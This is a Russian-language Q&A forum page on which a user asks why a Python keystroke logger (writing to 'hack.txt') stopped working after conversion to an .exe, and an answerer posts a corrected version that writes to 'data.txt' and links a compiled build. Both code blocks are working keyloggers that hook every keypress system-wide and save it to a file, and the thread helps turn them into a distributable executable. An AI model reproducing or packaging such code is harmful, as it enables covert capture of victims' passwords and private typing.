Задать вопрос
Fox7777
@Fox7777
Люблю python

Перевёл в .exe перестал работать, почему?

import keyboard


def print_pressed_keys(e):
    save = open('hack.txt', 'a')
    save.write(str(e) + ' ' + str(e.name)+"\n")


keyboard.hook(print_pressed_keys)
keyboard.wait()

Делал всё по этому ролику: https://www.youtube.com/watch?v=CgCJwDjm_Cw
В итоге он перестал в файл писать данные, помогите решить проблему и автоматический создавать файл!
  • Вопрос задан
  • 114 просмотров
Подписаться 1 Простой Комментировать
Помогут разобраться в теме Все курсы
  • Нетология
    Fullstack-разработчик на Python + нейросети
    20 месяцев
    Далее
  • Skillfactory
    Профессия Python-разработчик
    9 месяцев
    Далее
  • SF Education
    Бэкенд-разработчик на Python
    3 месяца
    Далее
Решения вопроса 1
sanya84
@sanya84
Фанатик Python 3
Я собрал EXE-ник, нормально работает.

from time import sleep
import keyboard


def print_pressed_keys(event):
    with open('data.txt', 'a') as file:
        file.write(f"{event} {event.name}\n")

try:
    keyboard.hook(print_pressed_keys)
    keyboard.wait()
except KeyboardInterrupt:
    print('\nПрограмма остановленна пользователем!')
    sleep(1.5)


Ссылка на рабочюю программу
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы